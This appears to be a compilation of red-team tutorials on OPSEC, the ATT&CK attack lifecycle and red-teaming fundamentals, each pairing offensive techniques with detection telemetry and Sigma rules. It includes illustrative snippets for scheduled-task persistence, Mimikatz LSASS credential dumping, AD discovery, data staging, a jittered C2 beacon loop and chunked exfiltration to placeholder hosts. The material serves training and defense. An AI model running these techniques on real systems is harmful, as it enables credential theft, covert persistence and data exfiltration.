Windows Security audit events to enable: 4688 (process creation with command line), 4698 (scheduled task), 7045 (new service), 1102 (Security log cleared), 4656/4663 (object access via SACL). Enable PowerShell Script Block Logging and Module Logging via GPO. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 to protect LSASS, deploy Credential Guard, and enforce ASR rules blocking Office child-process spawning and LSASS credential theft. A misconfigured Sysmon ruleset is the single most common reason behavior-based detection fails — deploy a tuned config (e.g., SwiftOnSecurity or olafhartong’s modular config) and review it quarterly.

14. Tools for Red Team OPSEC Analysis

15. MITRE ATT&CK Mapping

16. Summary

• OPSEC is the discipline of knowing exactly what telemetry every offensive action produces, and making conscious risk decisions about each one.
• The five-step OPSEC cycle (identify, threat, vuln, risk, countermeasure) is run before each engagement phase, not once at kickoff.
• Infrastructure OPSEC layers redirectors, aged categorized domains, segmented providers, and customized malleable C2 profiles — defaults are signatured.
• Process and network OPSEC favor in-memory execution (BOF, reflective load, Assembly.Load), PPID spoofing, sensible injection-target selection, and sleep + jitter to destroy beacon periodicity.
• Log and artifact suppression is a sharp tool: timestomping leaves $FILE_NAME evidence, wevtutil cl triggers Event ID 1102, and ETW patching is itself observed by the Threat-Intelligence provider.
• Defenders close every loop with Sysmon, ETW, AMSI, and behavior-chain Sigma rules — focus on TTP chains, not IOCs, to catch operators who actually practice OPSEC.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• MITRE ATT&CK: Defense Evasion (TA0005) — Enterprise Tactic
• MITRE ATT&CK: Masquerading (T1036) — Defense Evasion Technique
• NIST CSRC: Red Team Exercise — Glossary & SP 800-53 Rev. 5 Reference
• SANS SEC565: Red Team Operations and Adversary Emulation (OPSEC Hardening & C2 Infrastructure)
• MITRE ATT&CK: Indicator Removal (T1070) — Covering Tracks Technique
• Red Canary: Atomic Red Team — Open-Source MITRE ATT&CK-Mapped Test Library

The Attack Lifecycle: Reconnaissance to Exfiltration

Objective: Understand how a real-world adversary operation unfolds across the full MITRE ATT&CK Enterprise lifecycle — from pre-engagement reconnaissance through to data exfiltration — and learn how each phase is executed by authorized red teams and detected and disrupted by defenders.

1. Red Teaming & the Attack Lifecycle — Why It Matters

MITRE ATT&CK categorizes the tactics, techniques, and procedures (TTPs) used by real-world threat actors into a standardized matrix of adversary behaviors spanning the entire attack lifecycle. It is organized into three layers:

• Tactics — the tactical goals an adversary pursues (the “why”).
• Techniques — the actions taken to achieve those goals (the “how”).
• Procedures — the concrete technical steps to perform a technique.

The Enterprise matrix contains 14 tactics, beginning with Reconnaissance (TA0043) and ending with Impact. Unlike Lockheed Martin’s linear Cyber Kill Chain, ATT&CK is a behavior catalog — a red team uses it to plan a realistic operation, and a blue team uses the same IDs to measure detection coverage. This tutorial walks a simulated Windows enterprise engagement phase by phase, pairing each offensive step with its detection telemetry.

2. Pre-Engagement: Rules of Engagement and Scoping

No technique in this tutorial is legal without written authorization. A red team operation begins with a signed Rules of Engagement (RoE) document that fixes:

Threat-model selection (e.g., emulating a specific intrusion set) drives which techniques are exercised. Everything that follows assumes explicit, documented authorization.

3. Reconnaissance & Resource Development (TA0043, TA0042)

Reconnaissance (TA0043) gathers information about the target environment for use in later phases. It splits into passive collection — which never touches target infrastructure — and active scanning.

Passive OSINT pulls from public data sources: WHOIS, Shodan, LinkedIn, and certificate transparency logs (T1590, T1589, T1593). Certificate transparency is especially valuable for surfacing subdomains and shadow infrastructure.

# Enumerate subdomains from certificate transparency logs (T1590)
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

# Passive registration metadata (T1590)
whois example.com | grep -Ei 'Registrar|Name Server|Creation'

Active Scanning (T1595) — port and service discovery with tools like Nmap — is the most prominent Reconnaissance technique and the first activity that generates target-side telemetry.

Resource Development (TA0042) prepares the operational toolkit: acquiring infrastructure (T1583), establishing accounts (T1585), and obtaining or developing capabilities (T1588, T1587). For a red team this means standing up redirectors, C2 servers, and phishing domains before any contact with the target.

4. Initial Access (TA0001)

Initial Access (TA0001) is the most frequently employed tactic — it establishes the adversarial foothold. The dominant techniques are Phishing (T1566) and Valid Accounts (T1078), the latter gaining significant prominence in 2024.

In a typical spearphishing scenario, a pretext email lures a user (T1204, User Execution) into opening an attachment that spawns a child process — the handoff point into the Execution tactic.

5. Execution & Persistence (TA0002, TA0003)

Execution (TA0002) runs adversary-controlled code on the host. Command and Scripting Interpreter (T1059) — particularly PowerShell (T1059.001) and the Windows command shell (T1059.003) — is the workhorse, alongside WMI (T1047) and scheduled tasks (T1053).

Persistence (TA0003) ensures the foothold survives reboots and logoffs. Common techniques are Boot or Logon Autostart Execution (T1547) and Scheduled Task/Job (T1053.005). The following illustrates a benign scheduled-task persistence pattern and the events it generates.

# Illustrative persistence via scheduled task (T1053.005)
$action  = New-ScheduledTaskAction -Execute "powershell.exe" `
            -Argument "-NoProfile -File C:\ProgramData\update.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SystemUpdateCheck" `
    -Action $action -Trigger $trigger -RunLevel Highest

This single command produces Windows Event ID 4698 (scheduled task created) and Sysmon Event ID 1 (process creation) with powershell.exe as the task action — a high-fidelity detection pair.

6. Privilege Escalation, Defense Evasion & Credential Access (TA0004, TA0005, TA0006)

Privilege Escalation (TA0004) seeks elevated rights via Process Injection (T1055), Valid Accounts (T1078), and Create or Modify System Process (T1543). Defense Evasion (TA0005) then hides the activity — Indicator Removal (T1070) clears event logs, and Impair Defenses (T1562) disables security tooling.

Credential Access (TA0006) harvests authentication material. OS Credential Dumping: LSASS Memory (T1003.001) reads cleartext credentials and hashes from the LSASS process. The Mimikatz syntax below is a reference for understanding what the technique reads, not a functional payload.

# Mimikatz syntax reference — LSASS memory read (T1003.001)
privilege::debug              # acquire SeDebugPrivilege
sekurlsa::logonpasswords      # parse credential material from LSASS memory

The cross-process read of lsass.exe is exactly what Sysmon Event ID 10 (ProcessAccess) is tuned to catch, typically on a GrantedAccess mask of 0x1410.

7. Discovery (TA0007)

Discovery (TA0007) maps the internal environment once inside. Built-in commands provide low-noise enumeration of accounts (T1087), permission groups (T1069), remote systems (T1018), and host configuration (T1082, T1016).

# Internal recon mapped to Discovery techniques
whoami /all                       # T1033 — user, groups, privileges
Get-ADUser -Filter *              # T1087 — domain accounts
Get-ADGroupMember "Domain Admins" # T1069 — privileged group membership
nltest /domain_trusts             # T1482 — trust relationships
Get-ADComputer -Filter *          # T1018 — remote systems

Graph-based AD enumeration with SharpHound (the BloodHound collector) accelerates this phase by mapping attack paths to high-value objects. Because SharpHound queries many hosts in rapid succession, it surfaces in Sysmon Event ID 3 (network connection) as a fan-out of LDAP and SMB connections from a single process.

8. Lateral Movement (TA0008)

Lateral Movement (TA0008) expands the foothold toward sensitive systems after internal reconnaissance. In Windows-heavy environments the primary techniques are:

Pass the Hash reuses a captured NTLM hash to authenticate without the plaintext password. Kerberoasting requests service tickets for accounts with SPNs, then cracks them offline. A Ticket Encryption Type of 0x17 (RC4-HMAC) instead of 0x12 (AES256) across many Windows Event ID 4769 records in a short window is a strong Kerberoasting indicator. SMB-based movement via PsExec also leaves Sysmon Event ID 17/18 named-pipe artifacts.

9. Collection & Command and Control (TA0009, TA0011)

Collection (TA0009) gathers target data prior to exfiltration: Data from Local System (T1005), Data from Network Shared Drive (T1039), Email Collection (T1114), and Automated Collection (T1119). Collected data is then archived (T1560) to shrink and obscure it.

# Staging collected data (T1560) before exfiltration
Compress-Archive -Path C:\Users\jdoe\Documents\*.docx `
    -DestinationPath C:\ProgramData\stage.zip
certutil -encode C:\ProgramData\stage.zip C:\ProgramData\stage.b64

Command and Control (TA0011) maintains the operator channel. Application Layer Protocol: Web Protocols (T1071.001) blends C2 into normal HTTPS, defeating deep packet inspection; Encrypted Channel (T1573) and Protocol Tunneling (T1572) add further cover. Mature implants beacon low-and-slow with jittered sleep to evade volumetric detection.

# Conceptual HTTPS beacon loop (T1071.001) — illustrative, not implant code
import time, random, requests

while True:
    task = requests.get("https://cdn.example-c2.test/poll", verify=True)
    # ... process task, return results out-of-band ...
    sleep = 60 + random.randint(-15, 15)   # jitter to flatten beacon timing
    time.sleep(sleep)

10. Exfiltration (TA0010)

In Exfiltration (TA0010) the adversary steals the staged data. Because data is already collected and archived, the focus is moving it out without tripping volume or destination alarms.

Exfiltration Over Web Service (T1567) is favored because hosts already communicate with popular SaaS providers, firewall rules likely permit that traffic, and provider SSL/TLS hides the payload. Chunking (T1030) keeps each transfer below detection thresholds.

# Conceptual chunked exfil over a web service (T1567 + T1030) — illustrative
CHUNK = 512 * 1024   # cap per request to stay under size thresholds
with open("stage.b64", "rb") as f:
    while (block := f.read(CHUNK)):
        requests.post("https://storage.example-saas.test/upload",
                      data=block, verify=True)

11. Common Attacker Techniques Across the Lifecycle

12. Defensive Strategies & Detection

Detection is most effective when Sysmon events are chained across phases rather than alerted in isolation.

Pair Sysmon with Windows Security auditing: Event 4624 (logon), 4688 (process + command line), 4698 (scheduled task), 4769 (Kerberos service ticket — watch for 0x17), and 5140/5156 (share access and allowed connections). Enable Audit Process Creation with command-line logging, PowerShell Script Block Logging, and Audit Kerberos Service Ticket Operations. ETW providers such as Microsoft-Windows-PowerShell, Microsoft-Windows-Kernel-Network, and Microsoft-Windows-SMBClient deepen visibility.

A representative Sigma rule chains suspicious PowerShell with an outbound connection:

title: PowerShell Process With Outbound Network Connection
logsource:
  product: windows
  service: sysmon
detection:
  proc:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - 'DownloadString'
      - 'IEX'
  net:
    EventID: 3
    Image|endswith: '\powershell.exe'
  condition: proc and net
level: high

MITRE ATT&CK mapping for the primary abuse primitives:

Hardening per phase: minimize public attack surface and monitor certificate transparency; enforce MFA and patch internet-facing services (T1190); deploy Sysmon with Windows Event Forwarding to a SIEM; segment networks to restrict RDP/SMB; enable Credential Guard and AES256 Kerberos to eliminate RC4 Kerberoasting; and apply DLP with egress filtering against cloud-storage exfiltration.

13. Tools for Attack Lifecycle Analysis

For an engagement debrief, encode the simulated operation as an ATT&CK Navigator layer so the blue team can see exactly which techniques were exercised and where coverage was missing:

{
  "name": "Lifecycle Engagement - 2024",
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1595", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1566", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1059", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1003", "score": 100, "color": "#e60d0d" },
    { "techniqueID": "T1021", "score": 75,  "color": "#f4a442" },
    { "techniqueID": "T1071", "score": 75,  "color": "#f4a442" },
    { "techniqueID": "T1567", "score": 100, "color": "#e60d0d" }
  ]
}

Summary

• The attack lifecycle is a continuous chain of ATT&CK tactics — Reconnaissance to Exfiltration — that red teams emulate and blue teams measure with the same technique IDs.
• Early phases (TA0043, TA0042, TA0001) establish a foothold through scanning, phishing, and valid-account abuse, while mid-chain phases escalate, evade, and harvest credentials (T1055, T1003.001, T1558.003).
• Lateral movement (T1021, T1550.002) and C2 (T1071.001) expand and sustain access before staged data is archived (T1560) and exfiltrated over trusted channels (T1041, T1567).
• Detection works best by chaining Sysmon events (1, 3, 10, 11, 17/18, 22) with Windows audit IDs (4688, 4698, 4769) and Sigma rules across phases.
• Map every emulated technique into an ATT&CK Navigator layer to expose detection gaps and drive defensive hardening.

Related Tutorials

• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• Reconnaissance, Tactic TA0043 – Enterprise | MITRE ATT&CK®
• Exfiltration, Tactic TA0010 – Enterprise | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Exfiltration Over Web Service, Technique T1567 – Enterprise | MITRE ATT&CK®
• What is the MITRE ATT&CK Framework? | Microsoft Security
• Red Teaming and MITRE ATT&CK | Red Team Development and Operations

Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types

Objective: Understand what a red team engagement actually is, how it differs from vulnerability assessment and penetration testing, the adversarial mindset and methodologies that structure it, the typology of engagement formats, and how every offensive action maps back to MITRE ATT&CK to produce measurable defender value.

1. What Red Teaming Actually Is

Red teaming is objective-driven adversary simulation that tests an organization’s detection and response capability — not an exhaustive enumeration of every vulnerability. A penetration test prioritizes coverage of the attack surface; a red team engagement prioritizes realism and a targeted goal: reaching high-value assets such as executive workstations, code repositories, or financial systems while remaining undetected.

The defining trait: red team engagements deliberately do not seek full coverage. They genuinely test whether the organization can block or detect an attack chain, which is why they are the longest-running of all assessment types — stealth and patience are part of the deliverable.

2. The Adversarial Mindset

A red operator thinks objective-first, not checklist-first. Compliance testing asks “is this control present?” Adversarial thinking asks “what is the cheapest path to the crown jewels that the SOC will not see?”

Three mental anchors define the mindset:

• Objective-first — every action serves a defined goal (data, access, impact). Noise that does not advance the objective is risk.
• Stealth-conscious — assume the environment is instrumented. Prefer living-off-the-land over noisy tooling; pace operations to blend with baseline activity.
• Iterative — reconnaissance, hypothesis, action, observation, adapt. A blocked path is intelligence, not a dead end.

The premise underpinning modern engagements is assume breach: perimeter compromise is treated as inevitable, so the real measurement is how fast the defender detects and contains post-compromise activity.

3. Industry Methodologies

Red teaming inherits structure from established testing methodologies, then layers ATT&CK on top for adversary realism.

PTES (Penetration Testing Execution Standard) provides the canonical seven phases:

1. Pre-engagement Interactions — scope, objectives, rules of engagement, timelines, legal/compliance
2. Intelligence Gathering — reconnaissance, OSINT, passive and active scanning
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting

These methodologies describe how to test; ATT&CK describes how adversaries behave. A red team uses PTES/NIST for process discipline and ATT&CK as the operating language to choose and document technique-level actions.

4. Engagement Types Deep Dive

Engagement format is chosen by organizational maturity and the question being answered.

In an Assumed Breach, the client grants the foothold — executing a payload, issuing a single-use VPN or VDI session, or staging a “stolen laptop” scenario — so the team skips Initial Access and focuses on post-exploitation.

Knowledge levels cut across all formats:

Low-maturity orgs benefit most from purple or objective-based work; mature orgs with a functioning SOC gain the most from full-scope, unannounced engagements.

5. MITRE ATT&CK as the Red Team Operating Language

MITRE ATT&CK is a globally recognized knowledge base of adversary tactics and techniques built from real-world observations. It gives red and blue a common language: tactics are the adversary’s objectives, techniques are how they achieve them, and procedures are the specific implementations.

The Enterprise Matrix spans Windows, macOS, Linux, and cloud, organized into 14 tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.

ATT&CK Navigator lets teams annotate technique coverage as a JSON layer — color and score per technique — to track what was attempted, alerted, or blocked.

{
  "name": "Engagement-2024 Coverage",
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d", "comment": "Initial access - undetected" },
    { "techniqueID": "T1059.001", "score": 50,  "color": "#fce93a", "comment": "Executed - alerted, not blocked" },
    { "techniqueID": "T1003.001", "score": 0,   "color": "#31a354", "comment": "Blocked by Credential Guard" }
  ]
}

Although ATT&CK was created to support adversary emulation, it is equally valuable to blue teams for detection, hunting, and response — which is precisely why red teams document in ATT&CK terms.

6. The Engagement Lifecycle

The Red Team Guide condenses execution into three macro-phases: gain access, establish persistence, and perform operational impact. Expanded against ATT&CK tactics, the flow is:

Pre-Engagement ──► Recon ──► Initial Access ──► Execution ──► Persistence
   (RoE/SoW)     (TA0043)     (TA0001)          (TA0002)      (TA0003)
                                                                  │
                                                                  ▼
   Debrief/Report ◄── Exfiltration ◄── Collection ◄── Lateral Move ◄── Priv Esc
     (ATT&CK map)      (TA0010)         (TA0009)        (TA0008)       (TA0004)

Each phase produces a deliverable: pre-engagement yields the signed scope and RoE; recon yields a target profile; exploitation yields proof-of-access artifacts; reporting yields the ATT&CK-mapped findings and detection-gap backlog.

7. Rules of Engagement and Pre-Engagement

No packet is sent without written authorization. The Rules of Engagement (RoE) and Statement of Work define the legal and operational guardrails. A minimal RoE skeleton:

RULES OF ENGAGEMENT — <Client> / <Vendor>
1. Scope (in-bounds):    IP ranges, domains, cloud tenants, physical sites
2. Out-of-Scope:         Systems/data explicitly forbidden (e.g., prod payroll)
3. Authorized Actions:   Exploitation? Lateral movement? Data exfil simulation?
4. Notification State:   Announced | Unannounced (does SOC know?)
5. Deconfliction:        24/7 emergency contact, get-out-of-jail signal phrase
6. Data Handling:        Treatment of sensitive data encountered mid-op
7. Engagement Window:    Start/end dates, permitted hours
8. Legal Authorization:  Signatures, SoW reference, indemnification

The deconfliction channel and notification state are non-negotiable: they prevent a real incident response from spinning up against an authorized test and define whether the blue team is being tested blind.

8. Reconnaissance — Passive Versus Active

ATT&CK separates passive collection from active probing. T1596 (Search Open Technical Databases) sends no traffic to the target — it queries third-party indexes. T1595 (Active Scanning) probes victim infrastructure directly and is noisier and higher-risk.

import shodan, whois  # read-only OSINT libraries

api = shodan.Shodan("<authorized-engagement-key>")

# Passive WHOIS lookup — registrar/registration metadata only
record = whois.whois("scoped-target.example")
print(record.registrar, record.creation_date)

# Query Shodan's EXISTING index — no packets sent to the target host
host = api.host("203.0.113.10")
for service in host["data"]:
    print(service["port"], service["product"])

Passive recon is favored early because it leaves no trace in the target’s telemetry. Active scanning is sequenced only when scope and stealth budget permit, since it surfaces in firewall and IDS logs.

9. Adversary Emulation and the Tooling Ecosystem

Threat-informed engagements use Adversary Emulation Plans — MITRE prototype documents built from public threat reports — so operators behave like a specific group (e.g., APT29, FIN7), sticking to that actor’s known TTPs with latitude in implementation.

Atomic Red Team enables unit-style TTP testing. The pattern below runs a benign discovery technique on a lab VM to validate telemetry — it produces no harm:

# Lab VM only - benign discovery, no exploitation
Import-Module Invoke-AtomicRedTeam

# T1016 - System Network Configuration Discovery
Invoke-AtomicTest T1016 -ShowDetails
Invoke-AtomicTest T1016 -TestNumbers 1   # runs: ipconfig /all, route print

10. Red, Blue, and Purple Team Dynamics

The mode of collaboration defines the exercise. In an unannounced red team, the blue team is blind — this measures real-world detection. In a purple team, red and blue share visibility and debrief after each TTP, maximizing tradecraft coverage and detection tuning.

Purple is the fastest route to closing gaps; unannounced red is the truest measure of readiness. Mature programs alternate between them.

11. Common Attacker Techniques

A red team chains techniques across tactics. A canonical illustrative chain for teaching — not a how-to — runs:

T1566.001 Spearphishing Attachment → T1059.001 PowerShell → T1003.001 LSASS Memory → T1021.002 SMB/Admin Shares → T1048.003 Exfiltration Over Non-C2 Protocol.

MITRE ATT&CK Mapping

12. Defensive Strategies and Detection

A red team’s value is realized only when the blue team instruments the environment to measure it. Deploy Sysmon with a tuned config and enable the relevant audit policies.

Enable Audit Process Creation (feeds Sysmon EID 1 and Security EID 4688 with command-line logging), Audit Logon Events for credential-based lateral movement, Audit Object Access for exfiltration/persistence, and Audit Privilege Use for escalation. Key ETW providers include Microsoft-Windows-Kernel-Process, Microsoft-Windows-DNS-Client, AMSI, and Microsoft-Windows-PowerShell.

A foundational Sigma sketch for surfacing reconnaissance commands in process-creation telemetry:

title: Red Team Awareness - Host & Domain Discovery Commands
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    CommandLine|contains:
      - 'ipconfig /all'
      - 'route print'
      - 'net group "Domain Admins"'
  condition: selection
level: low

After the engagement, generate a coverage report and feed it into ATT&CK Navigator to drive a prioritized detection backlog:

TACTICS = {
    "T1596": "Reconnaissance", "T1566.001": "Initial Access",
    "T1059.001": "Execution",  "T1003.001": "Credential Access",
    "T1021.002": "Lateral Movement", "T1041": "Exfiltration",
}
detected = {"T1059.001", "T1003.001"}   # techniques the SOC alerted on

for tid, tactic in TACTICS.items():
    status = "HIT" if tid in detected else "GAP"
    print(f"[{status}] {tactic:20} {tid}")

Adopt an assume-breach posture: segment networks so lateral movement is detectable and costly, enable PowerShell Script Block Logging via GPO, and turn on command-line auditing. Map successful detections and missed techniques back to the ATT&CK matrix to build the remediation backlog.

13. Tools for Red Team Operations

Summary

• Red teaming is objective-driven adversary simulation that measures detection and response — not exhaustive vulnerability enumeration.
• The adversarial mindset is objective-first, stealth-conscious, and iterative, anchored on an assume-breach premise.
• Engagement type (full scope, assumed breach, objective-based, threat-informed, purple) is chosen by organizational maturity and the question being asked.
• MITRE ATT&CK’s 14 tactics provide the common language that lets red document operations and blue translate findings into detections.
• Every offensive TTP is paired with Sysmon/audit telemetry and an ATT&CK-mapped debrief that produces a prioritized detection-gap backlog.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• OPSEC Principles for Red Teamers: Staying Undetected
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Adversary Emulation Plans | MITRE ATT&CK®
• Azure Security Control: Penetration Tests and Red Team Exercises | Microsoft Learn
• Microsoft AI Red Team: Building the Future of Safer AI | Microsoft Security Blog
• Getting Started with ATT&CK: Adversary Emulation and Red Teaming | MITRE ATT&CK® (Medium)
• Planning Red Teaming for Large Language Models and Their Applications | Microsoft Learn